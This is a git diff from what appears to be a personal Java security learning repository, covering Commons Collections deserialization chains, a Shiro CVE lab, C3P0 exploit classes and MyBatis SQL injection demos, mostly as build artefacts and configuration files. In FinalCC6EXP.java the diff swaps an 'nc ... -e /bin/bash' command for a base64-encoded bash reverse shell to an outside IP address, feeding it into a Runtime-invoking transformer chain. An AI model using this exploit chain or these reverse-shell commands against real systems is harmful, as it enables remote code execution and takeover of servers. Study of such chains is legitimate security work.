a/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/Test.class b/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/Test.class index 1e1a1cf6..edf42b30 100644 Binary files a/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/Test.class and b/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/Test.class differ diff --git a/JavaSecurity/Apache/CC/CC6/CC6.iml b/JavaSecurity/Apache/CC/CC6/CC6.iml new file mode 100644 index 00000000..abe781f7 --- /dev/null +++ b/JavaSecurity/Apache/CC/CC6/CC6.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/Apache/CC/CC6/ser.bin b/JavaSecurity/Apache/CC/CC6/ser.bin index bbdc43ec..b79119e9 100644 Binary files a/JavaSecurity/Apache/CC/CC6/ser.bin and b/JavaSecurity/Apache/CC/CC6/ser.bin differ diff --git a/JavaSecurity/Apache/CC/CC6/src/CC6ysoEXP/FinalCC6EXP.java b/JavaSecurity/Apache/CC/CC6/src/CC6ysoEXP/FinalCC6EXP.java index 09d41ddb..df74a987 100644 --- a/JavaSecurity/Apache/CC/CC6/src/CC6ysoEXP/FinalCC6EXP.java +++ b/JavaSecurity/Apache/CC/CC6/src/CC6ysoEXP/FinalCC6EXP.java @@ -1,3 +1,5 @@ +package CC6ysoEXP; + import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; @@ -13,7 +15,7 @@ // CC6 链最终 EXP public class FinalCC6EXP { public static void main(String[] args) throws Exception{ - String[] cmd = {"nc 81.68.120.14 9990 -e /bin/bash"}; + String[] cmd = {"\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzM0IDA+JjE=}|{base64,-d}|{bash,-i}\"}"}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), diff --git a/JavaSecurity/Apache/CC/CC6/target/classes/CC6ysoEXP/FinalCC6EXP.class b/JavaSecurity/Apache/CC/CC6/target/classes/CC6ysoEXP/FinalCC6EXP.class new file mode 100644 index 00000000..7a0e296b Binary files /dev/null and b/JavaSecurity/Apache/CC/CC6/target/classes/CC6ysoEXP/FinalCC6EXP.class differ diff --git a/JavaSecurity/Apache/CC/CC6/target/classes/FinalCC6EXP.class b/JavaSecurity/Apache/CC/CC6/target/classes/FinalCC6EXP.class deleted file mode 100644 index 2b873d2c..00000000 Binary files a/JavaSecurity/Apache/CC/CC6/target/classes/FinalCC6EXP.class and /dev/null differ diff --git a/JavaSecurity/Apache/CC/CC6/target/classes/Hello.class b/JavaSecurity/Apache/CC/CC6/target/classes/Hello.class deleted file mode 100644 index 0a1cc4e1..00000000 Binary files a/JavaSecurity/Apache/CC/CC6/target/classes/Hello.class and /dev/null differ diff --git a/JavaSecurity/Apache/Shiro/CVE-2010-3863/src/main/resources/application.yml b/JavaSecurity/Apache/Shiro/CVE-2010-3863/src/main/resources/application.yml index 017551aa..c54acdac 100644 --- a/JavaSecurity/Apache/Shiro/CVE-2010-3863/src/main/resources/application.yml +++ b/JavaSecurity/Apache/Shiro/CVE-2010-3863/src/main/resources/application.yml @@ -3,7 +3,7 @@ spring: username: drunkbaby password: drunkbaby #?serverTimezone=UTC解决时区的报错 - url: jdbc:mysql://localhost/mybatis?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8 + url: jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8 driver-class-name: com.mysql.cj.jdbc.Driver type: com.alibaba.druid.pool.DruidDataSource diff --git a/JavaSecurity/Apache/Shiro/CVE-2010-3863/target/classes/application.yml b/JavaSecurity/Apache/Shiro/CVE-2010-3863/target/classes/application.yml index 017551aa..c54acdac 100644 --- a/JavaSecurity/Apache/Shiro/CVE-2010-3863/target/classes/application.yml +++ b/JavaSecurity/Apache/Shiro/CVE-2010-3863/target/classes/application.yml @@ -3,7 +3,7 @@ spring: username: drunkbaby password: drunkbaby #?serverTimezone=UTC解决时区的报错 - url: jdbc:mysql://localhost/mybatis?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8 + url: jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8 driver-class-name: com.mysql.cj.jdbc.Driver type: com.alibaba.druid.pool.DruidDataSource diff --git a/JavaSecurity/Apache/Shiro/shiro/src/main/java/shiro/config/UserRealm.java b/JavaSecurity/Apache/Shiro/shiro/src/main/java/shiro/config/UserRealm.java index 26102ef1..97c0af3e 100644 --- a/JavaSecurity/Apache/Shiro/shiro/src/main/java/shiro/config/UserRealm.java +++ b/JavaSecurity/Apache/Shiro/shiro/src/main/java/shiro/config/UserRealm.java @@ -13,6 +13,7 @@ import shiro.service.UserServiceImpl; // 自定义的 Realm + public class UserRealm extends AuthorizingRealm { @Autowired diff --git a/JavaSecurity/Apache/Shiro/shiro/src/main/resources/application.yml b/JavaSecurity/Apache/Shiro/shiro/src/main/resources/application.yml index c6550fa1..4f9c074d 100644 --- a/JavaSecurity/Apache/Shiro/shiro/src/main/resources/application.yml +++ b/JavaSecurity/Apache/Shiro/shiro/src/main/resources/application.yml @@ -32,3 +32,5 @@ spring: mybatis: type-aliases-package: shiro.pojo mapper-locations: classpath:mapper/*.xml +server: + port: 8082 diff --git a/JavaSecurity/Apache/Shiro/shiro/target/classes/application.yml b/JavaSecurity/Apache/Shiro/shiro/target/classes/application.yml index c6550fa1..4f9c074d 100644 --- a/JavaSecurity/Apache/Shiro/shiro/target/classes/application.yml +++ b/JavaSecurity/Apache/Shiro/shiro/target/classes/application.yml @@ -32,3 +32,5 @@ spring: mybatis: type-aliases-package: shiro.pojo mapper-locations: classpath:mapper/*.xml +server: + port: 8082 diff --git a/JavaSecurity/Apache/Shiro/shiro/target/classes/shiro/config/UserRealm.class b/JavaSecurity/Apache/Shiro/shiro/target/classes/shiro/config/UserRealm.class index e4497513..62c49c33 100644 Binary files a/JavaSecurity/Apache/Shiro/shiro/target/classes/shiro/config/UserRealm.class and b/JavaSecurity/Apache/Shiro/shiro/target/classes/shiro/config/UserRealm.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/C3P0Vuls.iml b/JavaSecurity/C3P0/C3P0Vuls/C3P0Vuls.iml new file mode 100644 index 00000000..056f8821 --- /dev/null +++ b/JavaSecurity/C3P0/C3P0Vuls/C3P0Vuls.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiForwardingDataSourceEXP.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiForwardingDataSourceEXP.class new file mode 100644 index 00000000..36134d3f Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiForwardingDataSourceEXP.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiRefConnectionPoolDataSourceEXP.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiRefConnectionPoolDataSourceEXP.class new file mode 100644 index 00000000..7eae5ffa Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiRefConnectionPoolDataSourceEXP.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiRefConnectionPoolDataSourceTest.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiRefConnectionPoolDataSourceTest.class new file mode 100644 index 00000000..17a51e1a Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/JNDIVul/JndiRefConnectionPoolDataSourceTest.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/NoNetUsing/NoAccessEXP$Loader_Ref.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/NoNetUsing/NoAccessEXP$Loader_Ref.class new file mode 100644 index 00000000..21c443c0 Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/NoNetUsing/NoAccessEXP$Loader_Ref.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/NoNetUsing/NoAccessEXP.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/NoNetUsing/NoAccessEXP.class new file mode 100644 index 00000000..144d690d Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/NoNetUsing/NoAccessEXP.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/Test.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/Test.class new file mode 100644 index 00000000..dff1a7cb Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/Test.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/BasicURLClassLoader.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/BasicURLClassLoader.class new file mode 100644 index 00000000..7b3d892e Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/BasicURLClassLoader.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/RefToURLClassLoader.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/RefToURLClassLoader.class new file mode 100644 index 00000000..94329d66 Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/RefToURLClassLoader.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/URLClassLoaderEXP$EXP_Loader.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/URLClassLoaderEXP$EXP_Loader.class new file mode 100644 index 00000000..c8ed0cbf Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/URLClassLoaderEXP$EXP_Loader.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/URLClassLoaderEXP.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/URLClassLoaderEXP.class new file mode 100644 index 00000000..6d834a22 Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/URLClassLoader/URLClassLoaderEXP.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/hexBase/HexBaseFastjsonEXP.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/hexBase/HexBaseFastjsonEXP.class new file mode 100644 index 00000000..68bb48e1 Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/hexBase/HexBaseFastjsonEXP.class differ diff --git a/JavaSecurity/C3P0/C3P0Vuls/target/classes/hexBase/HexBaseNewEXP.class b/JavaSecurity/C3P0/C3P0Vuls/target/classes/hexBase/HexBaseNewEXP.class new file mode 100644 index 00000000..a298fb3b Binary files /dev/null and b/JavaSecurity/C3P0/C3P0Vuls/target/classes/hexBase/HexBaseNewEXP.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/CC/CC.iml b/JavaSecurity/CodeReview/JavaSec-Code/CC/CC.iml new file mode 100644 index 00000000..6ff5bbaa --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/CC/CC.iml @@ -0,0 +1,96 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/application.properties b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/application.properties new file mode 100644 index 00000000..bafddced --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/application.properties @@ -0,0 +1 @@ +server.port=8081 \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/CCRunApplication.class b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/CCRunApplication.class new file mode 100644 index 00000000..ecdfcba6 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/CCRunApplication.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/controller/CC3EXP.class b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/controller/CC3EXP.class new file mode 100644 index 00000000..fe8c6972 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/controller/CC3EXP.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/controller/CChains.class b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/controller/CChains.class new file mode 100644 index 00000000..7b555378 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/CC/target/classes/com/drunkbaby/controller/CChains.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/JavaSec-Code.iml b/JavaSecurity/CodeReview/JavaSec-Code/JavaSec-Code.iml new file mode 100644 index 00000000..2bf2b4a3 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/JavaSec-Code.iml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/MybatiSqli.iml b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/MybatiSqli.iml new file mode 100644 index 00000000..4b6b7b07 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/MybatiSqli.iml @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/MybatiSqli-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/MybatiSqli-0.0.1-SNAPSHOT.jar new file mode 100644 index 00000000..71019dc4 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/MybatiSqli-0.0.1-SNAPSHOT.jar differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/MybatiSqli-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/MybatiSqli-0.0.1-SNAPSHOT.jar.original new file mode 100644 index 00000000..dcf47199 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/MybatiSqli-0.0.1-SNAPSHOT.jar.original differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/application.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/application.properties new file mode 100644 index 00000000..8e640725 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/application.properties @@ -0,0 +1,6 @@ +server.port=8081 +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.username=java +spring.datasource.password=123123 +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +mybatis.mapper-locations=classpath:mapper/*.xml \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/MybatiSqliApplication.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/MybatiSqliApplication.class new file mode 100644 index 00000000..1e5a6bc6 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/MybatiSqliApplication.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/controller/SQLI.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/controller/SQLI.class new file mode 100644 index 00000000..eeb6253b Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/controller/SQLI.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/mapper/UserMapper.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/mapper/UserMapper.class new file mode 100644 index 00000000..6d165225 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/mapper/UserMapper.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/pojo/User.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/pojo/User.class new file mode 100644 index 00000000..55c7f1f6 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/pojo/User.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/utils/SqliFilterUtil.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/utils/SqliFilterUtil.class new file mode 100644 index 00000000..aaf00bf6 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/com/drunkbaby/utils/SqliFilterUtil.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/mapper/UserMapper.xml b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/mapper/UserMapper.xml new file mode 100644 index 00000000..4cc0075e --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/classes/mapper/UserMapper.xml @@ -0,0 +1,49 @@ + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-archiver/pom.properties new file mode 100644 index 00000000..d7b9779c --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-archiver/pom.properties @@ -0,0 +1,3 @@ +artifactId=MybatiSqli +groupId=com.drunkbaby +version=0.0.1-SNAPSHOT diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 00000000..c3d6e2bf --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst @@ -0,0 +1,5 @@ +com\drunkbaby\controller\SQLI.class +com\drunkbaby\mapper\UserMapper.class +com\drunkbaby\pojo\User.class +com\drunkbaby\utils\SqliFilterUtil.class +com\drunkbaby\MybatiSqliApplication.class diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 00000000..ba69bc7b --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1,5 @@ +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\utils\SqliFilterUtil.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\MybatiSqliApplication.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\pojo\User.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\controller\SQLI.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\mapper\UserMapper.java diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/MybatisPluSqli.iml b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/MybatisPluSqli.iml new file mode 100644 index 00000000..ac20b6c2 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/MybatisPluSqli.iml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar new file mode 100644 index 00000000..c7a8d51a Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar.original new file mode 100644 index 00000000..7daf29a5 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar.original differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/application.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/application.properties new file mode 100644 index 00000000..d427ff5d --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/application.properties @@ -0,0 +1,6 @@ +server.port=8081 +spring.datasource.url=jdbc:mysql://localhost:3306/mp_test?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.username=Drunkbaby +spring.datasource.password=123123 +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +mybatis-plus.mapper-locations=classpath:mapper/*.xml \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/MybatisPluSqliApplication.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/MybatisPluSqliApplication.class new file mode 100644 index 00000000..5f4e93ce Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/MybatisPluSqliApplication.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/config/MybatisPlusConfig.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/config/MybatisPlusConfig.class new file mode 100644 index 00000000..15cac94a Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/config/MybatisPlusConfig.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLI.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLI.class new file mode 100644 index 00000000..39aec72d Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLI.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLIDefense.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLIDefense.class new file mode 100644 index 00000000..5e29b532 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLIDefense.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/EmployeeMapper.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/EmployeeMapper.class new file mode 100644 index 00000000..b0c346b7 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/EmployeeMapper.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/PersonMapper.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/PersonMapper.class new file mode 100644 index 00000000..55da1757 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/PersonMapper.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Employee.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Employee.class new file mode 100644 index 00000000..e55f4a31 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Employee.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Person.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Person.class new file mode 100644 index 00000000..470ebe75 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Person.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/EmployeeMapper.xml b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/EmployeeMapper.xml new file mode 100644 index 00000000..ddb04d4b --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/EmployeeMapper.xml @@ -0,0 +1,12 @@ + + + +
      + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/PersonMapper.xml b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/PersonMapper.xml new file mode 100644 index 00000000..f8d72c13 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/PersonMapper.xml @@ -0,0 +1,11 @@ + + + +
        + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-archiver/pom.properties new file mode 100644 index 00000000..19a3912c --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-archiver/pom.properties @@ -0,0 +1,3 @@ +artifactId=MybatisPluSqli +groupId=com.drunkbaby +version=0.0.1-SNAPSHOT diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 00000000..9576c716 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst @@ -0,0 +1,8 @@ +com\drunkbaby\controller\SQLI.class +com\drunkbaby\MybatisPluSqliApplication.class +com\drunkbaby\controller\SQLIDefense.class +com\drunkbaby\config\MybatisPlusConfig.class +com\drunkbaby\mapper\EmployeeMapper.class +com\drunkbaby\pojo\Person.class +com\drunkbaby\pojo\Employee.class +com\drunkbaby\mapper\PersonMapper.class diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 00000000..773ec3c1 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1,8 @@ +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\controller\SQLI.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\pojo\Person.java +G:\OneDrive - 